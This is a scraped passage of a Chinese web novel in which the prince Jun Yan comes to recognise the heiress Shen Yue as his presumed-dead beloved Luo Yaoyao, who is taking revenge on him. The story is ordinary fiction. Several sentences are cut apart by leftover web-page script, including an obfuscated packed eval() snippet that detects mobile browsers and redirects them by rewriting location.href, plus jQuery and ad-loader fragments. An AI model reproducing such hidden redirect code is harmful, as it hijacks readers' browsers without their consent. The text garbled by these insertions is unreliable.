“九爷是因救我受的伤,于情于理我都应该来探望,劳烦你等会儿再进去通报一声……既然他没醒,我便在这里等他醒来,等他见我。”她说着竟走到台阶处坐下了。 陆云向那个背影投去疑惑的目光。 一来是疑惑这样说了她竟也不走,二来是疑惑世上竟有两个如此相似之人,也怪不得公子犯了迷糊。 公子受伤都是因为这个女人,就应该和她减少来往! 他在心里冷哼了一声,同左右侍卫又嘱咐了两句,便转身进去。 君琰已经醒了,坐在窗边,唇色黯淡,不知在想些什么…… “公子。”陆云走了过去,“今早感觉可好些了?” 君琰没有答话,一直看着窗外灰蒙蒙的天…… 陆云皱起眉头,“您在看什么?” 窗外杳无人踪。 君琰的目光却飘得很远,似乎穿过了这片空气,在看着别的什么地方…… “沈小姐不会来了。”陆云替他说了出来,“公子是在等她吧?” “公子,不是属下说您,您不能因为她长得像洛姑娘就乱了心神。再说她不是都要和那个秦璐大婚了吗?” “再等等。”他依旧看着窗外。 月亮升起来了…… 陆云拿来了今日的情报,“公子早些歇息吧,她不会来了。” 门外,沈月仍坐在台阶上,吹着冷风…… 她也不知道自己为什么执意要等在这里。若当真只是为了合乎情理,她没必要等上一整天。 沈月给君琰的感觉很特别,有时候她和夭夭一模一样,甚至让他怀疑她就是夭夭本人,可下一瞬,她又会打碎他的希望,向他展现出与夭夭绝然不同的一面。 “陆云,你再出去看看……”这时时间已经很晚了。 “公子,歇息吧。我刚去看过了,她没来。” 半夜了。 静儿来了,“小姐,还不回去吗?” “……走吧。”她勉强睁开困倦的眼睛,起身离开。 她到底干嘛要傻傻地等在这里? 他救她不过是因为她是沈月,是少阁主,是他目前的合伙人。若少阁主有失,他又刚好在场,则事情未必能说清,往大了说还会影响到星月阁与黑布组织间的关系。如今按照礼尚往来的规矩,她是应该来答谢和探望的,但既然他执意不见,自己这里的人情也算是到位了。 都等了这么久,他又何尝想见她呢?执意不见,或许是他已经后悔了,后悔昨天不该救她,这样他就不会受伤。她想。自己是铁了心要报仇的,难道还要因他一时之援手而心软、心疼?这不可以,她曾说过和他不共戴天。 “事情有眉目了吗?”屋内,似是终于打算放弃了,君琰轻叹一声,转而问起了公事。 陆云:“已经有些线索了,是有人提前散播了粮船要被沉谣言,才煽动了百姓过来闹事,刚好昨天是日全食。此人真是居心险恶!如此一来,星月阁的粮船皆受损,原本要在五日内将粮钱运到的,怕是要拖延了……虽是有人蓄意陷害,可要说是公子您办事不利也无不可,就不知皇上是否会责罚于您。” “是本王办事不利,没有提前发现此人。你们速速将这个人抓来,送他进京领罪。另外,本王要即刻给四哥写封密折。掌灯吧。” 昏黄烛火映着一张略显病容的俊脸,陆云看着他写密折,心下不由得不满……要说这件事是公子办事不利,那星月阁也有责任,公子何以在信中只说是自己失察之责,而话里话外都是为星月阁回护之意? “不必担心,本王身体底子好得很。”他将密折封起来,似是余光发觉了下属担忧的神情,不由宽慰般一笑。“很快就没事了。” “清水河边昨日死伤者共计一千零九十一人……已全部安排好入葬抚恤工作了,只是还有些孩子失去了父母,一并送去悲田院么?” “也只能这样了。” 星月阁那边也几乎同时收到了情报。 清水河边的血案,幕后之人似乎是景王的某位政敌,那些人她不认识。这些天星月阁也腾出人手来,一面帮忙处理现场相关事宜,一面留意着秦璐那边的情况…… “小姐,秦公子明天可以回来了。”五日之后,静儿来与她禀报:“我们的嫌疑已经卸去,景王那边也抓住了真凶归案,小姐可以放下心了。只不过……” “不过什么?” “秦公子在牢狱里吃了不少苦头,无论别人怎么问他都不肯说出小姐来,虽然此事不是小姐所为,但若将所有事实和盘托出,也会给您惹上嫌疑。小姐,他这回干得不错。” “我知道了。”沈月抬了抬眉,“赏吧。” * 秦璐看着一桌子赏赐的东西苦笑。 他愿意为小姐做任何事,但却不是为了这些。 “听说秦璐为了沈小姐在狱中吃了不少苦头。审讯的人一心想把事情往星月阁身上扯,不惜对他严刑逼供,可他一个字都没说,这下终于熬出头回去了,可把沈小姐心疼坏了。”——陆云向君琰说着刚打听来的消息。 ……是啊。 她会心疼旁人,但不会关心他。 他苦涩一笑。 自己到底在期待什么,又在胡思乱想些什么?他的夭夭已经死了啊。 对于沈月来说,他只是江湖九公子,是魔头…… 除了查清幕后之人把凶手捉拿归案,协同星月阁继续运输粮米仍是最要紧的,灾民仍在等着吃饭。用田买粮的政策,本地知县也已做过宣传,不知后续能否顺利一点…… 就这样卧床养伤了半月,命陆云代自己在外执行各类事项,外边的一应消息皆在他掌控之中。 半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758919|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的时间内,星月阁送来了剩下的粮钱,但因为这些粮钱在清水河边损失了几成,余下的并不够买下所有受灾的田,只买下七成,于是他又命当地知县联络本地士绅一起,压着其他大户去买那另外三成受灾的田…… 可以答允一个星月阁事后无人分利,也可以答允其他大户同样的事情,从而压着他们出钱出粮去买田。得罪人的事情,他君琰从来不怕干。 只是以前没想到要这样干。 当夜又给四哥写了第二封密折,快马加鞭送进京城。 “公子,沈小姐和秦公子来了。”这一回陆云不在没人拦她,来报信的是无殇。 “哦?请进来。”他放下毛笔。 过了一会儿。 “九爷安。建德县有人不愿卖田换粮,宁可饿死,在当地煽动闹事,动静还不小,王知县已经那边压不住了,一时找不人帮忙,还希望您能调些人去。”——沈月张口就是公事。 他见到她,来不及想别的,眉头已经皱了起来。这样的情况他是早有预料的,也早和知县说过应该如何处理,不想现在…… “无殇,你带人过去看看。”他吩咐了一句,无殇即刻领命而去。 目光淡淡落在了沈月和秦璐交叠在一起的手上,他背过身,“沈小姐若没有别的事,就请回吧。” “在下是来答谢九爷的。”却是秦璐说话了:“多谢九爷上回对在下未嫁娘的相救之恩。在下知道九爷什么好东西都有,无论在下送什么东西恐怕都很难入您的眼。所以日后您若有需要,在下做牛做马都愿意报答您。” “未嫁娘”三个字生生刺痛了他……秦璐是以她未来丈夫的身份对他说这些话的。好在他正背着身,没让他们看见他眼中汹涌的情绪。 他不知为何会对沈月有这样的感觉,和她处得越久,这种感觉就越强烈……他一遍又一遍地告诉自己不可幻想,因为幻想破碎之后是更彻底的绝望,可他还是很难控制自己,看着那个和夭夭长得一样的人投入别人怀抱中时,他会心痛会愤怒。只是一张相似的脸,便足以让他沦落至此了么? ……不,沈月身上总似有若无地带着夭夭的影子,有时候她和她特别像,像到难以分辨。 沈月:“上回是事还未答谢,九爷,您可有什么我能帮忙的地方吗?” “有。”他的声音闷闷的。 “九爷请讲?” 马上离开——他刚想这样说。 回头却对上了她一双满含期待的眸子。 就好像,她是真心想要答谢他的恩情。 他忽然改了口:“本王来江南的次数不多,对这里的风土人情亦不了解。如若可以,能否请沈小姐带本王一起逛逛江南?” “这……”沈月却看向了秦璐:“还要看我未来的夫君是否介意。” 君琰:”……“ 之前她怎么不说这话?? 秦璐笑道:“恩人开口,有什么不可以的?我和月儿一起陪九爷就好。” 君琰脑海中立即浮现出了上回三个人一桌在酒楼吃饭的情景…… “那还是不必了。” “看来九爷不太喜欢在下嘛。”秦璐借坡下驴,讪笑道:“既然如此,那在下就不跟着去了,毕竟在下对月儿,还是有基本的信任的。” “秦郎,你最好。”——沈月看秦璐的目光媚眼如丝,落在了君琰眼中。 …… 真的好熟悉。 那是从前,夭夭看他的目光啊。 满眼的爱意,满眼的…… “好吧九爷,明天下午,我来找你。”她对他留下一个意味深长的笑,挽着秦璐离开了。 29. 破绽 “日铸山是越王勾践当年铸剑的地方,这儿所产的茶叶有金石之味,欧阳永叔说‘浙东浙西两地的茶叶,以日铸所产为第一’,这便是了。你们京师的茶商,每年也要来这里采茶呢。” 翌日,她与他对坐品茶,悠悠说着。 君琰:“嗯,是一个味道。本王甚爱兰雪茶。” 沈月笑了,“那可太好了,这不就是来对了。” “但本王喜爱它并非是因为口感,而是因为有个人喜欢……”脑海中这时浮现出了夭夭不辨茶水、拿兰雪茶当白水豪饮、直说好喝的模样,他浅笑着说,“要说本王自己,其实更喜欢的是松萝茶。” “原来如此。”沈月闻言便让小二再上松萝茶来。“这家店烹茶很是考究,故而带九爷来此品茗。这松萝茶若用泉水来煮,香气出不来,用禊泉来煮,香气又太浓郁,所以他们遂掺入茉莉,用敞口杯盛放,待水冷却之后,再用滚烫的热水冲下去,茶水的颜色变如竹笋之外壳脱落,淡绿均匀,又似山间小窗在天亮时分,窗纸被阳光穿透的模样。” 他静静地听她说着,眼睛里似有若无地含着某种疑问,但很快就散去了。 星月阁的小姐,于茶艺之道也是颇为了解的……她应该不会是夭夭了。 夭夭没有这样多的见识,更不知道怎么品茶、怎么烹茶。 说话间店小二已上了松萝茶来,沈月却将松萝茶与兰雪茶倒在了一起,笑着说:“我时常将这两种茶混在一起喝,也别有一番味道,就像之前松萝茶降低身价来屈就兰雪茶,顺从了世俗,我便也跟它一样,不再理会它们之间的分别了。” “和光同尘了吗?”他幽幽地道。 “人在官场,和光同尘,是有人这样说过,但我不是局中人,没什么体会。我只知道王爷你不是这样的人,不然这一趟差使皇上也不会派你来。” 他忽然拿过她刚喝过的杯子,饮了一口。 她一怔,还未出声,他先道:“兰雪茶与松萝茶混在一起的味道——还不错。” 她看着他。 “这一口,比本王方才喝过的,都更好喝。”他仰脖将那一杯都饮尽了,若有所思……“如果这两种茶能早些混在一起,也不至于有后来的结局。” 沈月眸光幽幽的……“就算混在一起了,最后会怎么样也说不好呢。” “会更好卖。”他定定说着,下一秒忽看向她握着茶杯的手…… 她的右手小指上有一道疤,很小很浅,不认真看注意不到。 夭夭的右手小指上也有一道疤。 是他被禁足在王府的时候,她为他做菜时划伤的,当时膏药不够,这道疤便没有完全好,留下了印子…… 这样巧合吗? 可她方才的谈吐识见,又是夭夭不可能有的。 “沈小姐的右手上有一道疤印。若不介意,本王那里倒有些上好的膏药,可拿来给你试试。” 沈月心里微微一惊,转瞬又冷静下来,平静道:“九爷看见了啊。这伤是我入阁前弄的,自己都不记得是怎么伤的了。”她笑了笑,“若真如此倒是劳烦九爷了。等喝完茶,我再带你去街市上看看。” 君琰私心并不喜欢逛街。但他记得,夭夭好像是喜欢逛街的…… 她还在的时候,他都没有认真地陪她逛过街。 江南的街市很热闹,同京城的相比又是另一番风味。 沈小姐似乎早对这些见怪不怪,看到许多新鲜玩意儿脸上也无喜悦之色,认真做着带他领略当地风土人情的向导,一一给他介绍街道两边的情况。 “这是我们这儿最热闹的一条街,好吃的很多,一会儿可以回来用晚膳,走过这条街前面就是云青山,也是风景很美的地方……九爷怎么了?” 君琰的脸色显见地变了……“你说,前面就是云青山吗?” “是。”她淡淡地道,“原是风景秀丽之地,却不知是怎么的,一夕之间有人屠山了,朝廷也不管,我想其中或许是有什么隐秘吧,比如……”她这时候看向他,觉察到他脸色不大好,便问:“你不舒服吗?不然我们回去不逛了。” “不。”他勉强笑了笑,“既然都到这里了,不妨就去看看,云青山。” 她有意提起云青山,想看看他的反应,但没想到他会真的要求去看看。 原以为他会掉头走开的——毕竟这个地方触及他的隐痛。 两人说着向云青山走去…… 换在一年前,她从未想过会有这样一天,她会以另外的身份,与他见面不识地、一起回到云青山——她长大的地方,也是他们初识的地方。 “若换在从前,会有许多热情的村民出来迎接你,拿出山里的奇珍美味供你品赏,但现在没有了。山上所有人,都埋在了半山腰处一桩矮矮的坟茔里,他们甚至没来得及留下姓名,也不会有谁记得。”她站在他前面,清风吹拂着秀发,指着半山腰坟茔的方向道—— “不过,此间山水不会因山中之人的离去而变化。一代代的人走了,或是断了,山水都仍永恒的,这或许是自然留给世间唯一的慰藉。” 她言语间似对此处颇为了解。 君琰狐疑地看着她,“你上去过?” “我来山上办事,巧不巧错过了屠山,否则我此刻也会成为那座坟茔中的一员,就没有这样好的命被阁主认作养女了。” 君琰露出了若有所思的神情…… 一个声音忽从不远处传来——“娘,就是他,就是他!!” “就是他,下令屠山的!我要杀了他!” 不知从何处突然冒出两个年轻男子和一老母亲,那弟弟对兄长说:“我不会记错的,就是他!哥,我们今天就为全山的人报仇!” 君琰眉毛也没抬一下。此类的事情他见得太多了,江湖上他仇家遍地,如眼下这几个根本就是微不足道的小喽啰而已,他只要稍稍一抬手,他们就会连自己是怎么死的都不知道。 然而沈月却下意识地按住了他的手,“九爷!” “我杀了你!!”做弟弟的拿着刀过来了,“唰”地一声—— 因为她的阻止,他惶了神。 匕首没入他的胸口一寸,还没完全刺进去被沈月及时拦下。 “住手!” 君琰只是站在原地未动,没有出手也没有躲,任凭自己被捅,除了沈月的阻止,也是因为—— 这些人的血债是他欠夭夭的,有幸存者侥幸逃脱,他不想赶尽杀绝。沈月此刻站在他旁边,就像夭夭还在一样,他不想再当着她的面做这样的事了,哪怕这样自己会受伤。 “公子!”几个暗卫现身了,将那三人麻溜地制住。“公子,您刚才为何不出手?!”傅从的脸上满是震惊。 他们知道公子的能力,以为这样两个小喽啰根本不用他们现身保护,却没想到…… “九爷,求你放了他们吧。”沈月出言求情,“这些人也是……” “放了。”他没待她说完,便开了口。 “放……?他们行刺您!”傅从脸上满是不理解的神情。 那个弟弟冷眼道:“呸!成者王败者寇,既然今天落在你手里,要杀要剐悉听尊便!只是我母亲没有刺杀你, () { $(''.inform'').remove(); $(''#content'').append('' 还请你放了他,我们兄弟两的命任你处置!” “等等。”沈月站在了他们中间,看着那兄弟两:“光天化日下公然行刺,你们可以不要自己的命,但你们的母亲呢?你们这样只会让她受到牵连!九爷若有什么不对的地方,朝廷自有律法处置,可容不得你们这般胡来!这次且放你们一马,可你们要答应,不能再做这种事了。” “朝廷律法?那就是放xx的xx!这么久过去了,这个江湖魔头依然逍遥得很!我们全山所有人都是他杀的!”哥哥的话说到一半,忽然间抬头看向了她…… 弟弟发觉哥哥的目光不对,也看向了这位说话的女子…… “洛夭夭?”哥哥皱起了眉头,紧接着他大声道:“洛大夫,是你!?你竟然真的和这个魔头在一起了?!” “瞎说什么?!”她怔然瞪大了眼睛,“本小姐……” 那弟弟粗暴地打断了她,“洛夭夭是你啊!你当初跟这个魔头跑了,魔头后来杀了全山的人包括你的爹娘,你还和他在一起?!刚才我们要报仇,你竟还阻拦!你、你简直吃里扒外,不是个人!” “本小姐听不懂你们在说什么。”她这时平静下来了,神色转淡道:“劝你们惜命,别敬酒不吃吃罚酒。” 山里从前人多,也许是有些人,她不认识对方,对方却认识她,毕竟爹爹是大夫,她也跟着一起行医救人,来来往往的,就也小有名气了。 “呸!我……” “行行好行行好,饶了我这两个苦命的儿吧!老身给你们磕头了……”老母亲跪地磕起头来,一声比一声响。 君琰似已耗尽了耐心,冷冷下了令:“留下性命,全部带走,本王不想再看到这几只蝼蚁。” 几个下属点头应是,动作十分麻利,而君琰与沈月的一番心情也给搅没了,两人悻悻下山。 沈月:“屠山的事原来与九爷有关?” “有关如何,无关又如何?本王手上沾过的人命,不止一座云青山。” “你伤口……” 君琰:“不用脏了沈小姐的手,不然秦公子会不高兴的。” “不好意思,我也没想到会忽然冒出这么几个人……要早知屠山的人是九爷,我方才也不会言语冒犯。 他们方才说我是什么……洛夭夭?王爷先前说我长得像您的亡妻,莫非你们说的是同一个人吗?” 她继续刺激着他,他没有再说一句话,也没有回答她的问题…… 沈月掉在他身后几步的地方,没再与他并肩行走。 不知自己方才是否露了什么破绽? 事发突然,她两边都想保。要保着那几个人,因为他们是云青山不多的幸存者;要保着君琰,因为她不能让他这么容易死了,她要玩弄他,慢慢地对他复仇。 他走在她前面,脚步不自觉地越来越快,越来越快…… 身后山风呼啸,他好像要无法呼吸了。 “九公子,你等等我啊……”身后她的呼唤声,也随着他们之间距离的拉开,变得很小了…… 一根在心里紧绷了许久的弦,忽然断了! 弹琴人手上鲜血直流。 方才被捅的一刀,加上之前在清河边被挤还没好全,还有最近这段日子的疑神疑鬼、如今弦断血流,情绪受到巨大冲击,他一时竟有些站不住……只是,内心真的不想倒在她面前,那样会显得他很没用。 几个下属方才被他派去送那几个刺客了。 大脑乍然间一片空白,他来不及去想太多的东西…… 整个人忽然重重朝前栽倒下去! 30. 病中 君琰病了,病得很重。 四大堂主一脸懵。 主子一向身体底子好,能打抗摔的,为何会忽然病重? 据来看诊的大夫说,是先前旧伤未愈,又紧接着受了很大刺激、情绪波动巨大所致。 几个人都很着急,围着他轮流侍奉汤药,可始终一口也喂不进去。他的嘴就好像被上了锁,无论如何都不肯张开。 湖上的华时消减了,城镇的喧阗、湖山的清丽,尽在阖眼的那瞬坠入黑暗,没留下半分倩影薄痕。江南江北,离人恨重……无数的离合悲欢,都如旧琴上的微尘,伴随着拂琴的指尖,簌簌而落…… 浓酣的白云凝滞不飞,低低压着明瑟荒寒的庭院,枯叶在风中微婉凄抑地嘶叫着,几点凉雨终于落了下来,飘入窗棂,打在榻上人的脸边。 那个身影曾在迷离中颠倒他的梦魂…… 她也曾“思君如满月,夜夜减清辉”,却在日复一日的失望中“昔时横波目,今作流泪泉”,直到那天大雨,她割袍断义,决绝至斯。年光不饶华年,也不会饶过一段魂牵梦绕的情愫,芳华水逝是从无例外的。在时光的紧迟中,他的心绪被日日磨折,未曾有一日卸下这份沉痛…… 翦翦秋水的一双眸子,乍迎乍送,欲敛未回,温情缱绻,她也曾穿着一身素衣,洒然站在山水之间……一瞬间,却就变了模样,珠宝首饰从不缺席,脂粉华服艳若桃李,如珠走盘,如星丽天,骨子里却是冷若冰霜,轻笑着,将他玩弄于股掌之间…… 而他,则从黑白通吃、无所畏惧的江湖魔头,变成了任她玩弄的可怜虫。 可,这是他应得的。 这是他的报应。 梦醒之间的那个影子,一会儿是洛夭夭,一会儿是沈月,最后重叠到了一起,他感叹自己怎么那么笨,为什么没有早就认出她来?那样多的线索和破绽摆在他面前,他却因为下一刻某种东西对不上,就轻易地否定了这个结论…… 不会错了,不会错了…… 沈月,就是洛夭夭。 洛夭夭,就是沈月。 可那夜的火烧得那样旺、那样亮,那一夜他丢了魂,在西厢房里一具一具翻找她的尸首,最后看见了她的“焦尸”,那假尸的手里还握着他送她的匕首……他实在是无法想象,她亲手将他送她的东西,放在另一个陌生人手里的样子。 …… 但他又有什么资格这样想呢?他不是也摔了她最宝贵的玉坠吗? 而今她在他面前扮演着另一个人,调笑,玩弄,谈生意,游刃有余。她是已经不喜欢自己了吧?若是心里还有他,又怎会将戏演得如此好?又怎会……转投入别人的怀中? 她还活着,却不愿告诉他,更不愿和他相认,她现在已经有了自己的生活,比从前要好一百倍的生活…… 可不管怎么说,夭夭还活着,这就是最好最好的事了,无论她心里是否还有他的位置,无论她要怎么对他。 至于自己,便不必管了吧……他本来想着,余生要隐去江湖,去替她看遍山河,现在看来,这件事不用他去做了。 洛夭夭,已经不再需要君琰了。 他是九公子,是江湖魔头,是皇兄们用来杀人的一把刀,是为了取得先皇信任愧对了母亲的不孝之子,亦是背叛了一段炽热真情的负心汉……夭夭不会在意他的。她很快,就要嫁给别人了啊。 那个秦璐不如他的地方太多了,可是,夭夭喜欢……她宁可喜欢一个这样普通男子,也不愿再和自己有任何瓜葛了……终究,是他伤她太深。 主子不肯喝药,几个下属没有办法,终是姚寂眼中闪过一道寒芒,问起了:“公子的病,是不是和那个沈月有关?” 陆云张了张嘴,好半天才说:“……好像是,那天他们在一起。” 姚寂脸色陡然一沉,仿佛明白了什么,转身就跑出去了。 沈月正倚窗听雨。 天色黯然,雨慢慢地下大了,由萧疏而至紧密,瓦片间升腾起一阵薄薄的雨雾。她屏息听着,心里的那一口浊气,仿佛随着缥缈的雨声,渐渐地袅荡为薄烟轻云了……但那双美丽的眼睛里,沉沉的,是前所未有的复杂。 君琰昏倒之后,她叫了他的人来帮忙,自己则待在他身边默默看了他一会儿,伸手摸了摸他的额头,发现烫得吓人…… 为何会忽然病得这么重呢?她不由得有些怀疑…… “小姐,九公子身边的姚寂来了。”静儿前来禀报。 “让他进来。” “沈小姐安。”姚寂风风火火地来了,“沈小姐,请你去看看我们公子吧……” “哦?”她不知为何却想起了上次的事,“上次我去探望过,可你们公子不见我,这一回却要我去么……” “有这等事?”姚寂一头雾水,当下却也来不及去解释什么,只是焦急道:“求你了,你去看一下他吧……” 作为九爷身边的高手下属,姚寂很少对谁用“求”这个字,沈月知道。 “公子一直昏迷不醒,一口药也喂不进去,大夫说他忽然病重是因为之前遭逢大悲,后来旧伤未愈,又突然受了大的刺激,情绪剧烈震荡,这才一下子支撑不住。病来如山倒,好几天了还没醒过来,而我这些天时常听见他迷迷糊糊地喊着一个人的名字……” 她的脸色变了几分。“什么名字?” 顾及到她从前的身份可能在星月阁中还不是公开的秘密,这回姚寂连声音也没有发出,只是比着口型道—— “夭夭”。 她的心陡然一空…… 果然如此么? 她不傻,还不至于认为他的情绪剧烈震荡与自己毫无关系。 还是被他发现了啊…… 然而下一秒她却笑了笑,婉转启唇道:“九爷思念那名女子不是什么秘密。昏迷中喊她的名字不也很正常么?这又和我有什么关系?难道我和那位长得像,就能替代她了?” 姚寂闻言默了默,没有因她的故作不懂而生气,也没就此做出进一步的解释,只是仍旧认真看着她,郑重道——“沈小姐,求你。” 他的语气里是连自己也听不懂的凄然。 “你要帮了这个忙,日后我们会报答你的,无论你提什么要求……” …… 她看着这个忠心的下属,忽然动了恻隐之心。也不知那魔头到底有什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好,值得这些武功卓绝的江湖高手一个个这样对他死心塌地。 外头雨声犀利,她眼神转淡,顺手取了把挂在墙上的紫竹伞,出了门——“走。” 一刻钟后,雨幕之中,那个众人期盼的身影出现了。 她进来时,他仍在榻上昏睡。 姚寂阴着脸色,让所有人包括陆云全部出去了,然后带上了房门。 陆云一脸的讶色,“她、她不会真的是……” “别出声!”姚寂打断了他,叹息着——“公子能不能醒来,全看她了。” “可是,”陆云仍坚持要说完话:“可是她跟公子有仇!你不怕她一刀送他归西……” “说什么呢?”姚寂瞪他一眼,拉着他:“还不快走?!” 沈月坐在了君琰榻前。她看着那张熟悉的脸庞,发了好一会儿呆。 这个睡着的君琰才是真正卸下了防备,有几分像那个初见时的他了。 昏迷中他似乎感知到了她的气息,微微抬手,好像想要触碰她一下…… 她沉默了一阵子,拉住了他的手,握了握。 这下他稍稍平静下来了,但眉心仍蹙着,嘴唇微动。她凑近了,听见他在轻轻地喊:“夭夭,夭夭……” 她听着这样熟悉的呼唤,目光复杂地看着他。 秋雨不知疲倦,在窗外的芭蕉叶上一片潇潇,她想起那些个被囚于景王府的夜晚,自己也是这般拉着他的手,这般陪伴着他。那时候,他向她的目光是那样温柔缱绻,藏着一股水晶般的情愫,摄人心魄。 她喜欢被他那样温柔地看着,那般目光,便是在无声地说,她是他全部的天地人间。 可是后来,为什么一切都变了呢…… 她的眉心也蹙了起来。 君琰,我从前十分讨厌嬗变和伪装的人。 可现在为了报仇,我竟也变成了这样的人——用你从前对我的方式来对付你。 放心,我是不会让你死的。你要这么快死了,我去找谁报仇? “夭夭……” 他仍在仍喃着她的名字,好像一直在梦中寻她……寻不到,他就一直喊下去,一直寻下去,直到死…… 沉默了许久,她忽然笑了,慢慢俯身,靠近他的耳边,用从前洛夭夭的声音,低低地应了—— “君琰,我在。” 接下来的几天,他终于安分了下来,药也慢慢能喂得进去了……四名堂主一齐看着她,各式各样的目光都有,复杂多变,她倒也不以为意。他们邀她在这里暂住,直到公子醒来再走。 秋晚霜满,潇潇洒洒,锦绣飘零,唯余红枫树株,郎朗得疏雨润之,如玉璎珞。枫树旁有一假山池塘,池中养蛙与荷,眼下秋日,只留残荷,供人听雨。 房门开着,她站在山水屏风的后面,看着檐下的雨整整一宿,从天亮直滴到天明…… 屏风后面这时传来了动静。 一道屏风,隔着他与她。此处距他,不过一屏风、一拐弯的距离。她的心里忽然似有一根弦断——他醒了。 默然一瞬,她抬步正要离开,身后却冷不丁传来了微哑的声音——“你要去哪里呀?” 31. 暧昧 沈月站住。 他终于醒了,他也知道她的身份了,但她想让他自己来挑明。 笑了笑,又走回来,转身看向他。 两人的视线在半空交汇。 他脸色仍有些苍白,一双幽深的眼睛里此刻饱含了说不清的渴望、欲念和无望,深深看着她…… 她回来了,他的夭夭回来了。他想念了她多少个白天和夜晚,她还活着就是最好的事了,可是…… “沈小姐,多谢照料。” 既然她不愿和自己相认,他若强求反而会妨碍到她,不如索性和她一起装糊涂吧…… “无妨,九爷也曾救过我,咱两算是扯平了。”沈月笑着,语气疏离地问:“可好些了?” “嗯。”他轻轻应了一声,心里又开始担心自己是否在梦中说过什么不该讲的话…… “九爷对那位洛姑娘可真是念念不忘,连梦里都喊着人家的名字。”却是她率先开了口,面上仍是那抹不达眼底的笑意,“若神明有知,您对她如此心心念念,日后也定会团聚,就像我和秦公子会有情人终成眷属一样。” “……咳咳咳!” “诶,你还是披件衣服吧。”她没有过去,站在那里看着他,语气不咸不淡。 比身上的痛、心里的煎熬更让他痛苦的,是她刀子一般的话。她如此说,多半是已经什么都知道了,可还是这样说…… 他的夭夭,不会原谅他了。 “不过我倒是觉得,你可以有更好的选择。”她继续阴阳怪气地道:“听说你曾为了给张王妃治病养洛姑娘取血,那种法子我曾听闻过,是一种南疆秘术,有奇效。如今你又为什么不可以重复呢?再养别的姑娘取血,让洛姑娘还阳嘛。” “……” 君琰看着她……这下名字变了,身份变了,连性情也变了么? “哈,我说笑的,九爷当个玩笑听听就罢了。”说着继续开玩笑:“您别用这种眼神看着我,想来您又是把我当成洛姑娘了吧?大概从前您就是这样看着她,后来却要取她的血,我可不想也像她那样——沦为九爷的玩物。” 君琰闭了闭眼……忍下心中一阵波涛汹涌。 终于,他缓过气来,声音沙哑地说:“这段日子多谢沈小姐,你快些回去吧,别让秦璐等着急了。” 她莞尔一笑:“多谢九爷体恤,沈月告辞。” 直到看着她的身影出了房门,再看不见了,他才吐出几口血来。 几个堂主闻声赶来。 “不是刚醒吗,怎么又吐血了?是不是那个沈月说了什么刺激你的话?!”陆云一脸的愤懑,“我就说不要让她来!” 姚寂道:“她不来,公子连醒都醒不过来。” “公子好好休息一阵子,这段时间不要再见沈月了。”傅从拿来了情报单子用石头压在桌上,“这些东西等公子缓过来再看。” 玉冰:“傅从说得对,公子现在不要再想她了,对您康复无益。” 他的眼睛里一片空落无神……四名属下关切的目光,他仿佛一下也看不到,只一直怔然望着她离去的方向。 “姚寂,她恨我。” ——许久,他们才听见他沙哑地说。 “恨我……” 姚寂上前扶住他,“公子,您别再想她了!” “真好。”他慢慢地笑了,抬手一把擦去唇角的血迹,眼眶通红,“恨,总比视而不见的好。” 沈月并没有让君琰多歇息几天。 七日之后,听闻他的病情已有好转,她便差人送去了与秦璐大婚的请柬。 “婚礼定在下月初八,届时若九爷没走,还望您能赏光前来。”静儿亲自来送的喜帖,按照应有的礼数,恭恭敬敬地说道。 ……一定要去么? 为什么,还要他眼睁睁看着她与别人大婚。 可是,这是夭夭所请。 他是没办法拒绝她的请求的。 “好。”许久他才挤出一句话,“你转告沈小姐,我一定来。” 听说沈因初马上也要回来了。星月阁少阁主大婚,必然是空前绝后的盛大排场、全城万人空巷地围观…… 他曾在脑海中想象过她穿上新嫁娘的衣服时会是什么样子。他的夭夭,本来就很美,穿上嫁衣时会更美,那样美丽的她本该是属于他的,但他却把第一次的凤冠霞帔给了另一个女人。他甚至开始怀念从前他们吵架的时候,那时她就像个张牙舞爪又委屈得不行的小兔子,看起来凶,但一点杀伤力也没有,嘴上不饶人,可满眼都是对他的在意。 时过境迁了。 从一开始沈月就是有备而来,她要玩弄他,要报仇。 ——所以,她还是在意他的。不然何必要费这么大的力气? 他笑了。 接下来的半月,他拖着病体去处理大户买田的后续事宜,四哥的回折下来了,字里行间颇有催促之意,同时亦对他所报诸官员之贪贿行为做了批复。君朝雨的意思他早有预料——这般得罪人的事情,让他君琰一人来干就够了。 圣旨很快就会一道过来,看样子他得在这里多待些时日了,那么那个婚礼,他也是不得不参加了。 星月阁内,静儿同沈月说着最近的情况。 “朝廷有旨意,今年的情况不一样了,”她将两张记账的纸拍在桌上,“我们没法给他们分利。” “奴婢是这样去回话的,可……” “清河边的血案让我们损失了部分粮米,再拿余者按市价去买田,我们本就是个不赚不赔,若再分利与他们,我们就是血本无归,星月阁不会做这样的生意。九爷作保,往后我们的上面只有一片天,那就是宫里。至于先前的那些人,合作就到此为止吧。” “这么说会不会得罪了他们?” “实话实说罢了。”沈月抿了口茶,“不是我们不讲从前的规矩,是上面有人来了。我们若如此,也没法和上面交代。照我的话再去回,他们不是傻子。” “是,小姐。” 很快,这件事发酵了起来,从江南直到京城,顺着一藤蔓,所有在上头的大小官员,皆挨了打。九公子奉旨行事,断了他们贪贿之财路……与此同时,沈月曾给他看过的那些账本也被誊抄一份,四个大箱子由锦衣卫押着,密送进京。 京城就要地震了。 掀起这场地震的人,是景王君琰。 这是很让人不解的。 谁都知道,他不多久就要退隐江湖……为什么非要在走之前搞事? 且他断的还不只是一个人的财路,而是全官场的人。 一时之间,风云变幻,险象环生。 但君琰早就习惯了。 他九公子的仇家遍布江湖,所遇追杀无数,留下骂名无数,也曾在病中绝望着不愿醒来。既然己身已无足惜,为何不用这条命去为朝廷和百姓换取更多的利益呢?他觉得这笔买卖不亏。 就算这些从一开始,都有沈月的设计成分在其中。 他也觉得很好。 继续,没有太多的希望,却也还没有十分绝望地活着。 还没绝望的那一分,是因她对他的恨。 